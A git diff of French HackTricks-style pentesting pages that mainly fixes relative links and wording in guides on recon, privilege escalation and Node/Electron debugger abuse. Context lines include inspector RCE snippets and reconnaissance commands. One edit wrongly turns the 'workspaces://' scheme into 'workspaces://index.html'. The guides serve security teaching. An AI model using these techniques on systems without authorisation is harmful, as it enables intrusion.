-- [**regulator**](https://github.com/cramppet/regulator): Pour plus d'infos, lisez ce [**post**](https://cramppet.github.io/regulator/index.html) mais il obtiendra essentiellement les **principales parties** des **sous-domaines découverts** et les mélangera pour trouver plus de sous-domaines.
+- [**regulator**](https://github.com/cramppet/regulator): Pour plus d'infos, lisez ce [**post**](https://cramppet.github.io/regulator/index.html), mais il obtiendra essentiellement les **principales parties** des **sous-domaines découverts** et les mélangera pour trouver plus de sous-domaines.
 ```bash
 python3 main.py adobe.com adobe adobe.rules
 make_brute_list.sh adobe.rules adobe.brute
@@ -446,8 +446,8 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
 ```
 ### **Brute Force des Buckets**
 
-En recherchant des **sous-domaines**, gardez un œil pour voir s'ils **pointent** vers un type de **bucket**, et dans ce cas, [**vérifiez les permissions**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
-De plus, à ce stade, vous connaîtrez tous les domaines dans le périmètre, essayez de [**brute forcer les noms de buckets possibles et de vérifier les permissions**](../../network-services-pentesting/pentesting-web/buckets/).
+En recherchant des **sous-domaines**, gardez un œil pour voir s'ils **pointent** vers un type de **bucket**, et dans ce cas, [**vérifiez les permissions**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
+De plus, comme à ce stade vous connaîtrez tous les domaines dans le périmètre, essayez de [**brute forcer les noms de buckets possibles et de vérifier les permissions**](../../network-services-pentesting/pentesting-web/buckets/index.html).
 
 ### **Surveillance**
 
@@ -456,7 +456,7 @@ Vous pouvez **surveiller** si de **nouveaux sous-domaines** d'un domaine sont cr
 ### **Recherche de vulnérabilités**
 
 Vérifiez les possibles [**prises de contrôle de sous-domaines**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
-Si le **sous-domaine** pointe vers un **bucket S3**, [**vérifiez les permissions**](../../network-services-pentesting/pentesting-web/buckets/).
+Si le **sous-domaine** pointe vers un **bucket S3**, [**vérifiez les permissions**](../../network-services-pentesting/pentesting-web/buckets/index.html).
 
 Si vous trouvez un **sous-domaine avec une IP différente** de celles que vous avez déjà trouvées lors de la découverte des actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\
 &#xNAN;_Notez que parfois le sous-domaine est hébergé sur une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
@@ -466,7 +466,7 @@ Si vous trouvez un **sous-domaine avec une IP différente** de celles que vous a
 Dans les étapes initiales, vous avez peut-être **trouvé des plages d'IP, des domaines et des sous-domaines**.\
 Il est temps de **rassembler toutes les IPs de ces plages** et pour les **domaines/sous-domaines (requêtes DNS).**
 
-En utilisant les services des **API gratuites** suivantes, vous pouvez également trouver des **IPs précédemment utilisées par des domaines et sous-domaines**. Ces IPs peuvent encore être possédées par le client (et peuvent vous permettre de trouver [**des contournements CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
+En utilisant les services des **API gratuites** suivantes, vous pouvez également trouver des **IPs précédemment utilisées par des domaines et sous-domaines**. Ces IPs peuvent encore appartenir au client (et peuvent vous permettre de trouver [**des contournements CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
 
 - [**https://securitytrails.com/**](https://securitytrails.com/)
 
@@ -476,7 +476,7 @@ Vous pouvez également vérifier les domaines pointant vers une adresse IP spéc
 
 **Scannez tous les ports des IPs qui n'appartiennent pas aux CDN** (car vous ne trouverez probablement rien d'intéressant là-dedans). Dans les services en cours d'exécution découverts, vous pourriez être **capable de trouver des vulnérabilités**.
 
-**Trouvez un** [**guide**](../pentesting-network/) **sur la façon de scanner les hôtes.**
+**Trouvez un** [**guide**](../pentesting-network/index.html) **sur la façon de scanner les hôtes.**
 
 ## Chasse aux serveurs web
 
@@ -510,11 +510,11 @@ Vous aurez également besoin de listes de mots de **mots courants utilisés dans
 - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
 - [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
 
-Ensuite, avec ces mots, vous devriez générer des **permutations** (voir le [**Deuxième Tour DNS Brute-Force**](#second-dns-bruteforce-round) pour plus d'infos).
+Ensuite, avec ces mots, vous devriez générer des **permutations** (voir le [**Deuxième Tour de Brute-Force DNS**](#second-dns-bruteforce-round) pour plus d'infos).
 
 Avec les listes de mots résultantes, vous pourriez utiliser des outils tels que [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ou** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
 
-N'oubliez pas que lorsque vous recherchez des actifs Cloud, vous devez **chercher plus que de simples buckets dans AWS**.
+N'oubliez pas que lorsque vous recherchez des actifs Cloud, vous devriez **chercher plus que de simples buckets dans AWS**.
 
 ### **Recherche de vulnérabilités**
 
@@ -553,7 +553,7 @@ Les fuites de credentials sont liées aux hacks d'entreprises où des **informat
 Les credentials et les API peuvent être divulgués dans les **dépôts publics** de l'**entreprise** ou des **utilisateurs** travaillant pour cette entreprise github.\
 Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **dépôts publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) automatiquement sur eux.
 
-**Leakos** peut également être utilisé pour exécuter **gitleaks** contre tout le **texte** fourni **URLs passées** à lui, car parfois **les pages web contiennent également des secrets**.
+**Leakos** peut également être utilisé pour exécuter **gitleaks** contre tout le **texte** fourni par les **URLs passées** car parfois **les pages web contiennent également des secrets**.
 
 #### Dorks Github
 
@@ -572,7 +572,7 @@ Vous pouvez utiliser l'outil [**Pastos**](https://github.com/carlospolop/Pastos)
 
 Les dorks google, vieux mais efficaces, sont toujours utiles pour trouver des **informations exposées qui ne devraient pas être là**. Le seul problème est que la [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contient plusieurs **milliers** de requêtes possibles que vous ne pouvez pas exécuter manuellement. Donc, vous pouvez prendre vos 10 préférées ou vous pourriez utiliser un **outil tel que** [**Gorks**](https://github.com/carlospolop/Gorks) **pour les exécuter toutes**.
 
-_Remarque : les outils qui s'attendent à exécuter toute la base de données en utilisant le navigateur Google régulier ne finiront jamais, car Google vous bloquera très rapidement._
+_Remarque : les outils qui s'attendent à exécuter toute la base de données en utilisant le navigateur Google régulier ne finiront jamais car Google vous bloquera très rapidement._
 
 ### **Recherche de vulnérabilités**
 
@@ -592,11 +592,11 @@ Il existe également des services gratuits qui vous permettent de **scanner des
 
 - [**Snyk**](https://app.snyk.io/)
 
-## [**Méthodologie de Pentesting Web**](../../network-services-pentesting/pentesting-web/)
+## [**Méthodologie de Pentesting Web**](../../network-services-pentesting/pentesting-web/index.html)
 
-La **majorité des vulnérabilités** trouvées par les chasseurs de bugs se trouvent dans les **applications web**, donc à ce stade, je voudrais parler d'une **méthodologie de test d'application web**, et vous pouvez [**trouver cette information ici**](../../network-services-pentesting/pentesting-web/).
+La **majorité des vulnérabilités** trouvées par les chasseurs de bugs se trouvent dans les **applications web**, donc à ce stade, je voudrais parler d'une **méthodologie de test d'application web**, et vous pouvez [**trouver cette information ici**](../../network-services-pentesting/pentesting-web/index.html).
 
-Je veux également faire une mention spéciale à la section [**Outils open source de scanners automatisés web**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), car, même si vous ne devez pas vous attendre à ce qu'ils trouvent des vulnérabilités très sensibles, ils sont utiles pour les intégrer dans des **flux de travail pour obtenir des informations web initiales.**
+Je veux également faire une mention spéciale à la section [**Outils de scanners automatisés open source**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), car, bien que vous ne devriez pas vous attendre à ce qu'ils trouvent des vulnérabilités très sensibles, ils sont utiles pour les intégrer dans des **flux de travail pour obtenir des informations web initiales.**
 
 ## Récapitulation
 
@@ -607,7 +607,7 @@ Donc, vous avez déjà :
 1. Trouvé toutes les **entreprises** dans le périmètre
 2. Trouvé tous les **actifs** appartenant aux entreprises (et effectué quelques scans de vulnérabilités si dans le périmètre)
 3. Trouvé tous les **domaines** appartenant aux entreprises
-4. Trouvé tous les **sous-domaines** des domaines (y a-t-il une prise de contrôle de sous-domaine ?)
+4. Trouvé tous les **sous-domaines** des domaines (y a-t-il eu des prises de contrôle de sous-domaines ?)
 5. Trouvé toutes les **IPs** (provenant et **non provenant des CDN**) dans le périmètre.
 6. Trouvé tous les **serveurs web** et pris une **capture d'écran** d'eux (y a-t-il quelque chose de bizarre qui mérite un examen plus approfondi ?)
 7. Trouvé tous les **actifs cloud publics potentiels** appartenant à l'entreprise.

src/generic-methodologies-and-resources/pentesting-methodology.md

@@ -12,19 +12,19 @@ _Logo Hacktricks conçu par_ [_@ppiernacho_](https://www.instagram.com/ppieranac
 
 Avez-vous **un accès physique** à la machine que vous souhaitez attaquer ? Vous devriez lire quelques [**astuces sur les attaques physiques**](../hardware-physical-access/physical-attacks.md) et d'autres sur [**l'évasion des applications GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
 
-### 1 - [Découverte des hôtes à l'intérieur du réseau](pentesting-network/index.html#discovering-hosts)/ [Découverte des actifs de l'entreprise](external-recon-methodology/)
+### 1 - [Découverte des hôtes à l'intérieur du réseau](pentesting-network/index.html#discovering-hosts)/ [Découverte des actifs de l'entreprise](external-recon-methodology/index.html)
 
 **Selon** si le **test** que vous effectuez est un **test interne ou externe**, vous pourriez être intéressé à trouver **des hôtes à l'intérieur du réseau de l'entreprise** (test interne) ou **à trouver des actifs de l'entreprise sur Internet** (test externe).
 
 > [!NOTE]
 > Notez que si vous effectuez un test externe, une fois que vous parvenez à obtenir l'accès au réseau interne de l'entreprise, vous devez redémarrer ce guide.
 
-### **2-** [**S'amuser avec le réseau**](pentesting-network/) **(Interne)**
+### **2-** [**S'amuser avec le réseau**](pentesting-network/index.html) **(Interne)**
 
 **Cette section ne s'applique que si vous effectuez un test interne.**\
 Avant d'attaquer un hôte, vous préférez peut-être **voler des identifiants** **du réseau** ou **sniffer** des **données** pour apprendre **passivement/activement (MitM)** ce que vous pouvez trouver à l'intérieur du réseau. Vous pouvez lire [**Pentesting Network**](pentesting-network/index.html#sniffing).
 
-### 3- [Scan de Ports - Découverte de services](pentesting-network/index.html#scanning-hosts)
+### 3- [Scan de Port - Découverte de services](pentesting-network/index.html#scanning-hosts)
 
 La première chose à faire lorsque vous **cherchez des vulnérabilités dans un hôte** est de savoir quels **services sont en cours d'exécution** sur quels ports. Voyons les [**outils de base pour scanner les ports des hôtes**](pentesting-network/index.html#scanning-hosts).
 
@@ -34,11 +34,11 @@ Une fois que vous savez quels services sont en cours d'exécution, et peut-être
 
 ### **5-** Services de Pentesting
 
-S'il n'y a pas d'exploit intéressant pour un service en cours d'exécution, vous devriez chercher des **mauvais configurations courantes dans chaque service en cours d'exécution.**
+S'il n'y a pas d'exploit intéressant pour un service en cours d'exécution, vous devriez rechercher **des erreurs de configuration courantes dans chaque service en cours d'exécution.**
 
-**Dans ce livre, vous trouverez un guide pour pentester les services les plus courants** (et d'autres qui ne le sont pas tant)**. Veuillez chercher dans l'index de gauche la section** _**PENTESTING**_ **(les services sont classés par leurs ports par défaut).**
+**Dans ce livre, vous trouverez un guide pour pentester les services les plus courants** (et d'autres qui ne le sont pas tant que ça). **Veuillez chercher dans l'index de gauche la section** _**PENTESTING**_ **(les services sont classés par leurs ports par défaut).**
 
-**Je tiens à faire une mention spéciale de la** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **partie (car c'est la plus étendue).**\
+**Je tiens à faire une mention spéciale de la partie** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **(car c'est la plus étendue).**\
 De plus, un petit guide sur la façon de [**trouver des vulnérabilités connues dans les logiciels**](../generic-hacking/search-exploits.md) peut être trouvé ici.
 
 **Si votre service n'est pas dans l'index, cherchez sur Google** d'autres tutoriels et **faites-moi savoir si vous souhaitez que je l'ajoute.** Si vous **ne trouvez rien** sur Google, effectuez votre **propre pentesting à l'aveugle**, vous pourriez commencer par **vous connecter au service, le fuzzing et lire les réponses** (s'il y en a).
@@ -51,13 +51,13 @@ Il existe également plusieurs outils qui peuvent effectuer des **évaluations a
 
 Dans certains scénarios, un **Brute-Force** pourrait être utile pour **compromettre** un **service**. [**Trouvez ici une CheatSheet de différents services de brute forcing**](../generic-hacking/brute-force.md)**.**
 
-### 6- [Phishing](phishing-methodology/)
+### 6- [Phishing](phishing-methodology/index.html)
 
-Si à ce stade vous n'avez trouvé aucune vulnérabilité intéressante, vous **pourriez avoir besoin d'essayer un phishing** afin d'entrer dans le réseau. Vous pouvez lire ma méthodologie de phishing [ici](phishing-methodology/):
+Si à ce stade vous n'avez trouvé aucune vulnérabilité intéressante, vous **pourriez avoir besoin d'essayer un phishing** afin d'entrer dans le réseau. Vous pouvez lire ma méthodologie de phishing [ici](phishing-methodology/index.html):
 
-### **7-** [**Obtenir un Shell**](../generic-hacking/reverse-shells/)
+### **7-** [**Obtenir un Shell**](../generic-hacking/reverse-shells/index.html)
 
-D'une manière ou d'une autre, vous devriez avoir trouvé **un moyen d'exécuter du code** sur la victime. Ensuite, [une liste d'outils possibles à l'intérieur du système que vous pouvez utiliser pour obtenir un reverse shell serait très utile](../generic-hacking/reverse-shells/).
+D'une manière ou d'une autre, vous devriez avoir trouvé **un moyen d'exécuter du code** sur la victime. Ensuite, [une liste d'outils possibles à l'intérieur du système que vous pouvez utiliser pour obtenir un reverse shell serait très utile](../generic-hacking/reverse-shells/index.html).
 
 Surtout sous Windows, vous pourriez avoir besoin d'aide pour **éviter les antivirus** : [**Vérifiez cette page**](../windows-hardening/av-bypass.md)**.**\\
 
@@ -67,30 +67,30 @@ Si vous avez des problèmes avec le shell, vous pouvez trouver ici une petite **
 
 - [**Linux**](../linux-hardening/useful-linux-commands.md)
 - [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
-- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
+- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/index.html)
 
 ### **9 -** [**Exfiltration**](../generic-hacking/exfiltration.md)
 
-Vous aurez probablement besoin d'**extraire des données de la victime** ou même **d'introduire quelque chose** (comme des scripts d'escalade de privilèges). **Ici, vous avez un** [**post sur les outils courants que vous pouvez utiliser à ces fins**](../generic-hacking/exfiltration.md)**.**
+Vous aurez probablement besoin d'**extraire des données de la victime** ou même d'**introduire quelque chose** (comme des scripts d'escalade de privilèges). **Ici, vous avez un** [**post sur les outils courants que vous pouvez utiliser à ces fins**](../generic-hacking/exfiltration.md)**.**
 
 ### **10- Escalade de Privilèges**
 
 #### **10.1- Privesc Local**
 
 Si vous **n'êtes pas root/Administrateur** à l'intérieur de la machine, vous devriez trouver un moyen d'**escalader les privilèges.**\
-Ici, vous pouvez trouver un **guide pour escalader les privilèges localement dans** [**Linux**](../linux-hardening/privilege-escalation/) **et dans** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
+Ici, vous pouvez trouver un **guide pour escalader les privilèges localement dans** [**Linux**](../linux-hardening/privilege-escalation/index.html) **et dans** [**Windows**](../windows-hardening/windows-local-privilege-escalation/index.html)**.**\
 Vous devriez également consulter ces pages sur le fonctionnement de **Windows** :
 
-- [**Authentification, Identifiants, Privilèges de jeton et UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
-- Comment fonctionne [**NTLM**](../windows-hardening/ntlm/)
+- [**Authentification, Identifiants, Privilèges de jeton et UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html)
+- Comment fonctionne [**NTLM**](../windows-hardening/ntlm/index.html)
 - Comment [**voler des identifiants**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) sous Windows
-- Quelques astuces sur [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
+- Quelques astuces sur [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html)
 
-**N'oubliez pas de consulter les meilleurs outils pour énumérer les chemins d'escalade de privilèges locaux Windows et Linux :** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
+**N'oubliez pas de consulter les meilleurs outils pour énumérer les chemins d'escalade de privilèges locaux sous Windows et Linux :** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
 
 #### **10.2- Privesc de Domaine**
 
-Ici, vous pouvez trouver une [**méthodologie expliquant les actions les plus courantes pour énumérer, escalader les privilèges et persister sur un Active Directory**](../windows-hardening/active-directory-methodology/). Même si cela n'est qu'une sous-section d'une section, ce processus pourrait être **extrêmement délicat** lors d'une mission de Pentesting/Red Team.
+Ici, vous pouvez trouver une [**méthodologie expliquant les actions les plus courantes pour énumérer, escalader les privilèges et persister sur un Active Directory**](../windows-hardening/active-directory-methodology/index.html). Même si cela n'est qu'une sous-section d'une section, ce processus pourrait être **extrêmement délicat** lors d'une mission de Pentesting/Red Team.
 
 ### 11 - POST
 
@@ -110,20 +110,20 @@ TODO: Compléter la persistance Post sous Windows & Linux
 
 Avec les **identifiants recueillis**, vous pourriez avoir accès à d'autres machines, ou peut-être devez-vous **découvrir et scanner de nouveaux hôtes** (redémarrer la méthodologie de Pentesting) à l'intérieur de nouveaux réseaux où votre victime est connectée.\
 Dans ce cas, le tunneling pourrait être nécessaire. Ici, vous pouvez trouver [**un post parlant de tunneling**](../generic-hacking/tunneling-and-port-forwarding.md).\
-Vous devriez également consulter le post sur la [méthodologie de pentesting Active Directory](../windows-hardening/active-directory-methodology/). Là, vous trouverez des astuces intéressantes pour se déplacer latéralement, escalader les privilèges et dump des identifiants.\
-Vérifiez également la page sur [**NTLM**](../windows-hardening/ntlm/), cela pourrait être très utile pour pivoter dans des environnements Windows.
+Vous devriez également consulter le post sur [la méthodologie de pentesting Active Directory](../windows-hardening/active-directory-methodology/index.html). Là, vous trouverez des astuces intéressantes pour se déplacer latéralement, escalader les privilèges et dump des identifiants.\
+Vérifiez également la page sur [**NTLM**](../windows-hardening/ntlm/index.html), cela pourrait être très utile pour pivoter dans des environnements Windows.
 
 ### PLUS
 
-#### [Applications Android](../mobile-pentesting/android-app-pentesting/)
+#### [Applications Android](../mobile-pentesting/android-app-pentesting/index.html)
 
 #### **Exploitation**
 
-- [**Exploitation de base sous Linux**](broken-reference/)
+- [**Exploitation de base sous Linux**](broken-reference/index.html)
 - [**Exploitation de base sous Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [**Outils d'exploitation de base**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
+- [**Outils d'exploitation de base**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html)
 
-#### [**Python de base**](python/)
+#### [**Python de base**](python/index.html)
 
 #### **Astuces Crypto**
 

src/generic-methodologies-and-resources/python/README.md

@@ -2,13 +2,12 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-
 **Pages intéressantes à consulter :**
 
 - [**Astuces de hacking Pyscript**](pyscript.md)
 - [**Désérialisations Python**](../../pentesting-web/deserialization/index.html#python)
-- [**Astuces pour contourner les sandboxes Python**](bypass-python-sandboxes/)
-- [**Syntaxe de base des requêtes web en Python**](web-requests.md)
-- [**Syntaxe et bibliothèques de base en Python**](basic-python.md)
+- [**Astuces pour contourner les sandboxes Python**](bypass-python-sandboxes/index.html)
+- [**Syntaxe de base des requêtes web Python**](web-requests.md)
+- [**Syntaxe et bibliothèques Python de base**](basic-python.md)
 
 {{#include ../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md

@@ -13,7 +13,7 @@ La page principale d'une application Flask aura probablement l'objet global **`a
 app = Flask(__name__, template_folder='templates')
 app.secret_key = '(:secret:)'
 ```
-Dans ce cas, il est possible d'accéder à cet objet en utilisant simplement n'importe quel gadget pour **accéder aux objets globaux** depuis la [**page de contournement des sandboxes Python**](bypass-python-sandboxes/).
+Dans ce cas, il est possible d'accéder à cet objet en utilisant simplement n'importe quel gadget pour **accéder aux objets globaux** depuis la [**page de contournement des sandboxes Python**](bypass-python-sandboxes/index.html).
 
 Dans le cas où **la vulnérabilité se trouve dans un fichier python différent**, vous avez besoin d'un gadget pour traverser les fichiers afin d'atteindre le principal pour **accéder à l'objet global `app.secret_key`** afin de changer la clé secrète de Flask et pouvoir [**escalader les privilèges** en connaissant cette clé](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
 

src/linux-hardening/linux-privilege-escalation-checklist.md

@@ -28,8 +28,8 @@
 
 ### [Processus](privilege-escalation/index.html#processes)
 
-- [ ] Y a-t-il un **logiciel inconnu en cours d'exécution** ?
-- [ ] Y a-t-il un logiciel en cours d'exécution avec **plus de privilèges qu'il ne devrait** ?
+- [ ] Un **logiciel inconnu s'exécute-t-il** ?
+- [ ] Un logiciel s'exécute-t-il avec **plus de privilèges qu'il ne devrait** ?
 - [ ] Rechercher des **exploits de processus en cours d'exécution** (en particulier la version en cours d'exécution).
 - [ ] Pouvez-vous **modifier le binaire** de tout processus en cours d'exécution ?
 - [ ] **Surveiller les processus** et vérifier si un processus intéressant s'exécute fréquemment.
@@ -46,7 +46,7 @@
 
 - [ ] Un fichier **.service** **modifiable** ?
 - [ ] Un **binaire modifiable** exécuté par un **service** ?
-- [ ] Un **dossier modifiable dans le PATH de systemd** ?
+- [ ] Un **dossier modifiable dans le PATH systemd** ?
 
 ### [Timers](privilege-escalation/index.html#timers)
 
@@ -72,7 +72,7 @@
 
 - [ ] Énumération des utilisateurs/groupes **génériques**
 - [ ] Avez-vous un **UID très élevé** ? La **machine** est-elle **vulnérable** ?
-- [ ] Pouvez-vous [**escalader les privilèges grâce à un groupe**](privilege-escalation/interesting-groups-linux-pe/) auquel vous appartenez ?
+- [ ] Pouvez-vous [**escalader les privilèges grâce à un groupe**](privilege-escalation/interesting-groups-linux-pe/index.html) auquel vous appartenez ?
 - [ ] Données du **presse-papiers** ?
 - [ ] Politique de mot de passe ?
 - [ ] Essayez d'**utiliser** chaque **mot de passe connu** que vous avez découvert précédemment pour vous connecter **avec chaque** utilisateur possible. Essayez également de vous connecter sans mot de passe.
@@ -118,8 +118,8 @@
 - [ ] Fichiers de **profil** - Lire des données sensibles ? Écrire pour privesc ?
 - [ ] Fichiers **passwd/shadow** - Lire des données sensibles ? Écrire pour privesc ?
 - [ ] **Vérifier les dossiers couramment intéressants** pour des données sensibles
-- [ ] Fichiers **emplacement étrange/propriétés**, vous pourriez avoir accès ou modifier des fichiers exécutables
-- [ ] **Modifié** dans les dernières minutes
+- [ ] Fichiers **propriétaires/locaux étranges**, vous pourriez avoir accès ou modifier des fichiers exécutables
+- [ ] **Modifiés** dans les dernières minutes
 - [ ] Fichiers **Sqlite DB**
 - [ ] Fichiers **cachés**
 - [ ] **Script/Binaires dans le PATH**

src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md

@@ -9,7 +9,7 @@
 Les clients de l'inspecteur doivent connaître et spécifier l'adresse hôte, le port et l'UUID pour se connecter. Une URL complète ressemblera à `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
 
 > [!WARNING]
-> Étant donné que **le débogueur a un accès complet à l'environnement d'exécution Node.js**, un acteur malveillant capable de se connecter à ce port peut être en mesure d'exécuter du code arbitraire au nom du processus Node.js (**escalade de privilèges potentielle**).
+> Étant donné que **le débogueur a un accès complet à l'environnement d'exécution Node.js**, un acteur malveillant capable de se connecter à ce port peut être en mesure d'exécuter du code arbitraire au nom du processus Node.js (**élévation de privilèges potentielle**).
 
 Il existe plusieurs façons de démarrer un inspecteur :
 ```bash
@@ -40,7 +40,7 @@ Les sites Web ouverts dans un navigateur peuvent effectuer des requêtes WebSock
 > [!NOTE]
 > Ces **mesures de sécurité empêchent l'exploitation de l'inspecteur** pour exécuter du code en **envoyant simplement une requête HTTP** (ce qui pourrait être fait en exploitant une vulnérabilité SSRF).
 
-### Démarrer l'inspecteur dans les processus en cours
+### Démarrer l'inspecteur dans les processus en cours d'exécution
 
 Vous pouvez envoyer le **signal SIGUSR1** à un processus nodejs en cours d'exécution pour le faire **démarrer l'inspecteur** sur le port par défaut. Cependant, notez que vous devez avoir suffisamment de privilèges, donc cela pourrait vous accorder **un accès privilégié à des informations à l'intérieur du processus** mais pas une élévation de privilèges directe.
 ```bash
@@ -50,13 +50,13 @@ kill -s SIGUSR1 <nodejs-ps>
 > [!NOTE]
 > Cela est utile dans les conteneurs car **arrêter le processus et en démarrer un nouveau** avec `--inspect` **n'est pas une option** car le **conteneur** sera **tué** avec le processus.
 
-### Se connecter à l'inspecteur/debugger
+### Connecter à l'inspecteur/debugger
 
 Pour se connecter à un **navigateur basé sur Chromium**, les URL `chrome://inspect` ou `edge://inspect` peuvent être accessibles pour Chrome ou Edge, respectivement. En cliquant sur le bouton Configurer, il faut s'assurer que le **hôte cible et le port** sont correctement listés. L'image montre un exemple d'Exécution de Code à Distance (RCE) :
 
 ![](<../../images/image (674).png>)
 
-En utilisant la **ligne de commande**, vous pouvez vous connecter à un debugger/inpecteur avec :
+En utilisant la **ligne de commande**, vous pouvez vous connecter à un debugger/inspecteur avec :
 ```bash
 node inspect <ip>:<port>
 node inspect 127.0.0.1:9229
@@ -78,9 +78,9 @@ L'outil [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefde
 ## RCE dans le Débogueur/Inspecteur NodeJS
 
 > [!NOTE]
-> Si vous êtes ici pour savoir comment obtenir [**RCE à partir d'un XSS dans Electron, veuillez consulter cette page.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
+> Si vous êtes ici pour savoir comment obtenir [**RCE à partir d'un XSS dans Electron, veuillez consulter cette page.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html)
 
-Quelques façons courantes d'obtenir **RCE** lorsque vous pouvez **vous connecter** à un **inspecteur** Node sont d'utiliser quelque chose comme (il semble que cela **ne fonctionnera pas dans une connexion au protocole Chrome DevTools**):
+Certaines façons courantes d'obtenir **RCE** lorsque vous pouvez **vous connecter** à un **inspecteur** Node sont d'utiliser quelque chose comme (il semble que cela **ne fonctionnera pas dans une connexion au protocole Chrome DevTools**):
 ```javascript
 process.mainModule.require("child_process").exec("calc")
 window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
@@ -94,7 +94,7 @@ Dans cette section, je vais simplement lister des choses intéressantes que j'ai
 
 ### Injection de Paramètres via Deep Links
 
-Dans le [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/), Rhino security a découvert qu'une application basée sur CEF **avait enregistré un URI personnalisé** dans le système (workspaces://) qui recevait l'URI complet et ensuite **lancait l'application basée sur CEF** avec une configuration qui était partiellement construite à partir de cet URI.
+Dans le [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/), Rhino Security a découvert qu'une application basée sur CEF **avait enregistré un URI personnalisé** dans le système (workspaces://index.html) qui recevait l'URI complet et **lancait l'application basée sur CEF** avec une configuration partiellement construite à partir de cet URI.
 
 Il a été découvert que les paramètres URI étaient décodés en URL et utilisés pour lancer l'application de base CEF, permettant à un utilisateur d'**injecter** le drapeau **`--gpu-launcher`** dans la **ligne de commande** et d'exécuter des choses arbitraires.
 

src/macos-hardening/macos-security-and-privilege-escalation/README.md

@@ -37,7 +37,7 @@ macos-protocols.md
 {{#endref}}
 
 - macOS **Open Source** : [https://opensource.apple.com/](https://opensource.apple.com/)
-- Pour télécharger un `tar.gz`, changez une URL telle que [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) en [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
+- Pour télécharger un `tar.gz`, changez une URL comme [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) en [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
 
 ### MDM MacOS
 
@@ -95,7 +95,7 @@ Par conséquent, un attaquant qui souhaite compromettre avec succès une machine
 
 Ces privilèges sont généralement accordés sous forme de **droits** avec lesquels l'application est signée, ou l'application peut avoir demandé certains accès et après que **l'utilisateur les ait approuvés**, ils peuvent être trouvés dans les **bases de données TCC**. Une autre façon pour un processus d'obtenir ces privilèges est d'être un **enfant d'un processus** ayant ces **privilèges**, car ils sont généralement **hérités**.
 
-Suivez ces liens pour trouver différentes façons de [**escalader les privilèges dans TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), pour [**contourner TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) et comment dans le passé [**SIP a été contourné**](macos-security-protections/macos-sip.md#sip-bypasses).
+Suivez ces liens pour trouver différentes façons de [**escalader les privilèges dans TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), pour [**contourner TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) et comment dans le passé [**SIP a été contourné**](macos-security-protections/macos-sip.md#sip-bypasses).
 
 ## Escalade de Privilèges Traditionnelle macOS
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md

